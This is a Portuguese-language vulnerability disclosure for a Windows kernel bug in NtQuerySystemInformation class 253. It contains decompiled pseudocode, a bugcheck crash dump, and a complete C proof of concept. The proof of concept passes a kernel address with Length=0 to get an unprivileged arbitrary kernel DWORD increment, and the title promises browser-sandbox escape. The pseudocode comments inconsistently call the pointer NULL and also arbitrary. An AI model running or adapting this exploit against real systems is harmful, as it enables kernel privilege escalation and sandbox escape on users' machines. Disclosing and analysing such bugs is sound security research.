
Código completo de exploit para CVE-2026-40369 - Uma vulnerabilidade de escrita arbitrária no kernel do Windows que permite escapar da sandbox do navegador a partir da sandbox do processo de renderização de todos os navegadores
ExpGetProcessInformationNtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)ExpGetProcessInformation é chamado por ExpQuerySystemInformation para classes de informação
5 (SystemProcessInformation), 0x39, 0x94, 0xFC, e 0xFD (253 = SystemProcessInformationExtension).
O local de chamada em ExpQuerySystemInformation+0xD7A:
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);
Quando userBuffer também aponta para o Kernel (por exemplo, sondando o tamanho necessário do buffer), a função entra em:
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
v91 = buffer; // = NULL
if (infoClass == 252) {
v86 = v91; // class 252 uses v86
// ...
} else {
v86 = NULL;
if (infoClass == 253) {
v95 = v91; // v95 = NULL (BUG: sanitization for kernel address check!)
goto LABEL_11;
}
// class 5 path - uses v81, doesn't touch v95
}
v95 = NULL; // class 252 path falls through here
LABEL_11:
// ... process iteration loop ...
while (NextProcess) {
if (infoClass == 253) {
++*v95; // CRASH: v95 is Arbitrary Kernel Address
v95[1] += ...; // Would also crash
v95[2] += ...; // Would also crash
}
// class 5/252 paths handle NULL buffer correctly
}
}
Para a classe 253, v95 é definido como o ponteiro do buffer (v91 = buffer = NULL) sem qualquer verificação de NULL.
O loop de iteração de processos então tenta incrementar um contador em *v95, causando uma desreferência de ponteiro NULL
em modo kernel → BSOD.
As classes 5 e 252 lidam corretamente com buffers NULL porque usam variáveis diferentes (v81/v86)
e possuem verificações adequadas antes de desreferenciar.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800041424344, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
IP_IN_PAGED_CODE:
nt!ExpGetProcessInformation+42e
fffff803`a06db22e ff03 inc dword ptr [rbx]
STACK_TEXT:
*** WARNING: Unable to verify checksum for poc.exe
Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
ffffd380`d4dc52f8 fffff803`a01b2d82 : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
ffffd380`d4dc5300 fffff803`a01b22ac : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffd380`d4dc5360 fffff803`a00fba97 : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffd380`d4dc5af0 fffff803`9fe29dc0 : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
ffffd380`d4dc5b30 fffff803`9fe16d96 : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffffd380`d4dc5c20 fffff803`a02b9ecb : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
ffffd380`d4dc5d90 fffff803`a06db22e : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
ffffd380`d4dc5f20 fffff803`a06dcfbf : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
ffffd380`d4dc6540 fffff803`a06e1061 : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
ffffd380`d4dc6aa0 fffff803`a02be355 : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
ffffd380`d4dc6ae0 00007ffd`5bc82154 : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
000000e8`7679faf8 00007ff6`f01c10ef : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
000000e8`7679fb00 00007ff6`f01c1374 : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
000000e8`7679fb30 00007ffd`5a5ae8d7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
000000e8`7679fb70 00007ffd`5bbac48c : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
000000e8`7679fba0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c
Reprodutor mínimo (não privilegiado, sem tokens especiais necessários):
/**
* poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
*
* Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
* Passes a kernel address as the output buffer with Length=0, causing
* ExpGetProcessInformation to increment DWORDs at the target address
* without validation.
*
* Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
*/
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
typedef long NTSTATUS;
#define SystemProcessInformationExtension 253
typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int main(void)
{
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (!pNtQSI) {
printf("[-] Failed to resolve NtQuerySystemInformation\n");
return 1;
}
PVOID target = (PVOID)0xffff800041424344ULL;
printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
printf("[*] Target kernel address: %p\n", target);
printf("[*] Will write:\n");
printf(" [target+0] += num_processes (DWORD increment)\n");
printf(" [target+4] += total_threads (DWORD add)\n");
printf(" [target+8] += total_handles (DWORD add)\n");
printf("\n");
printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
printf("[*] Press Enter to trigger...\n");
getchar();
ULONG needed = 0;
NTSTATUS status = pNtQSI(
SystemProcessInformationExtension,
target, /* kernel address — ProbeForWrite skipped because Length=0 */
0, /* Length=0 bypasses ProbeForWrite entirely */
&needed
);
printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
printf("[*] Required length: %lu\n", needed);
printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");
return 0;
}
ExpQuerySystemInformation chama ProbeForWrite(buffer, Length, alignment) antes de despachar.
ProbeForWrite com Length=0 é um NO-OP completo — todo o corpo da função é condicionado por if (Length).
Então: NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed) passa um ponteiro de kernel
não validado para ExpGetProcessInformation.
Para cada processo no sistema, a função executa:
v95 = userBuffer; // attacker-controlled pointer, NOT validated for class 253 with Length=0
// For EACH process:
++*v95; // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count
Isso dá:
ExpGetProcessInformation verifica if (length < 12) e define STATUS_INFO_LENGTH_MISMATCH,
mas NÃO retorna antecipadamente. Ele armazena o status de erro e continua no loop de iteração
de processos, executando as escritas em v95 para cada processo antes de finalmente retornar
o status de erro.
Totalmente acessível:

Encontrado e escrito por Ori Nimron (@orinimron123)